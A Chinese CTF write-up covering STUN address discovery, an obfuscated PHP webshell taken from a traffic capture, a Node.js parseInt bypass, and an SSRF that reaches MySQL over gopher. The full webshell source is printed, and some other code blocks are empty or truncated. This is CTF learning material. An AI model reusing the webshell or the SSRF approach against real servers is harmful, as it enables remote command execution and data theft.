DASCTF × GFCTF-web,misc
misc-tele
没写出来,贴考点吧,下次多注意一下特殊的协议。
STUN(Session Traversal Utilities for NAT)是一种网络协议,用于在NAT(Network Address Translation,网络地址转换)后面的设备之间建立通信会话。它主要用于解决在实时通信中遇到的NAT穿越问题,比如VoIP、视频会议等应用。
STUN协议的主要功能包括:
- 发现公共IP地址:STUN客户端可以向STUN服务器发送请求,以发现客户端的公共IP地址和端口号。这对于P2P通信非常重要,因为它允许客户端知道其在Internet上的可访问地址。
- 检测NAT类型:STUN协议还可以帮助客户端识别其所在网络中的NAT类型,比如全锥形NAT、对称NAT、端口受限对称NAT等。这对于选择合适的通信策略非常重要。
- 解决对称NAT的问题:对称NAT会为每个不同的目标地址和端口分配不同的公共地址和端口。STUN协议通过与STUN服务器的交互,使得在同一NAT后面的两个设备可以互相发现对方的公共地址和端口,从而实现P2P通信。
虽然STUN协议可以帮助解决NAT穿越的问题,但它并不是通用的解决方案。在某些情况下,比如在存在对称NAT的网络中,STUN可能无法成功穿越NAT。在这种情况下,通常需要使用更复杂的技术,比如TURN(Traversal Using Relays around NAT)或ICE(Interactive Connectivity Establishment)。
考点:通过stun获取客户端的ip地址
misc-parser
代码混淆题,第一次见,不是很难写,就是需要耐心
题目也是给的一个流量包,先上传了一个shell再rce
1 | <?php str_rot13(substr('kofvamreebe_ercbegvat', 6, 15))(E_ALL ^ E_NOTICE); $........................................ = str_rot13(substr('etsjuonfr64_qrpbqr', 5, 13))(substr('vxMDgwNjdTZWM=', 2, 12)); function xorDecrypt($....................................., $..........................) { $..................................... = str_rot13(substr('xothonfr64_qrpbqr', 4, 13))($.....................................); $.......................................... = str_rot13(substr('jtonfr64_qrpbqr', 2, 13))(''); $................................. = str_rot13(substr('efgeyra', 1, 6))($..........................); for ($............................................ = 0; $............................................ < str_rot13(substr('jtefgeyra', 3, 6))($.....................................); $............................................++) { $............................ = $..........................[$............................................ % $.................................]; $............................... = str_rot13(substr('ybeq', 1, 3))($.....................................[$............................................]) - $............................................ % 3; $............................... = ($............................... ^ str_rot13(substr('rgxamfbeq', 6, 3))($............................)) % 256; $.......................................... .= str_rot13(substr('hlvqapue', 5, 3))($...............................); } return $..........................................; } class A { public function __construct($................................, $.....................................) { $.............................. = str_rot13(substr('xjyvwrkbeQrpelcg', 6, 10))($................................, str_rot13(substr('ncchbaonfr64_qrpbqr', 6, 13))(substr('jhpmqR0ZDVEYyMDI0', 5, 12))); $................................ = str_rot13(substr('gyfjiekbeQrpelcg', 6, 10))($....................................., str_rot13(substr('ascbqonfr64_qrpbqr', 5, 13))(substr('sgxsemREFTQ1RG', 6, 8))); str_rot13(substr('hgwqkmcevag_e', 6, 7))(str_rot13(substr('kiokxonfr64_rapbqr', 5, 13))(str_rot13(substr('cfdnkbeQrpelcg', 4, 10))(str_rot13(substr('jmonfr64_rapbqr', 2, 13))(str_rot13(substr('yndhsupnyy_hfre_shap', 6, 14))($.............................., $................................)), str_rot13(substr('ukifonfr64_qrpbqr', 4, 13))(substr('hrwcuhR0VUTVlGTEFH', 6, 12))))); } } if ($_POST[str_rot13(substr('vqewegonfr64_qrpbqr', 6, 13))(substr('gucGFzcw==', 2, 8))] === str_rot13(substr('fffun1', 2, 4))($........................................)) { $......................................... = new A($_COOKIE[str_rot13(substr('wonfr64_qrpbqr', 1, 13))(substr('mugeXM=', 3, 4))], $_COOKIE[str_rot13(substr('lreuonfr64_qrpbqr', 4, 13))(substr('xfkkcWQ=', 4, 4))]); } echo str_rot13(substr('bxgonfr64_qrpbqr', 3, 13))(substr('hjnc3VjY2Vzc18x', 3, 12)); |
手动转换并且解码
1 |
|
需要注意的是,混淆的代码中往往存在一个eval或者其他命令执行的函数,不然混淆后就很难通过字符串再执行
比如在该题中就以call_user_func和shell_exec(后面传入的固定参数,在数据包中也有体现)存在
web-cool_index
nodejs代码审计题,又没写出来,唉
漏洞点可能存在的地方
1 | package.json: |
也可能存在jwt伪造,不过因为不知道secret,就伪造不了了
这道题的漏洞点实际上是在index这个参数(题目都说了)
1 | try { |
漏洞点在于parseInt()函数,可以使用数组或者字符串绕过
1 | payload: |
果然如果漏洞代码怼脸上就好做,审计的时候弱比较都看不出来
web-EasySignin
类型:ssrf,虽然也没做出来,啧
登录一个普通账号之后可以抓包修改admin账号的密码(有点抽象
admin账号可以康康好看的图片(确实好康
直接解析的url,所以是ssrf,但是也有一些过滤词,试了一下gopher://127.0.0.1:3306,有延迟,应该就是打mysql,但是尝试了一下写文件,好像权限不够然后就卡这了
看了一下nowayback的wp,可以用loadfile读取,根目录的flag(好,行
Reference
1 | https://mp.weixin.qq.com/s/Pv5uBU-BY5yOiZSYTzA3vQ |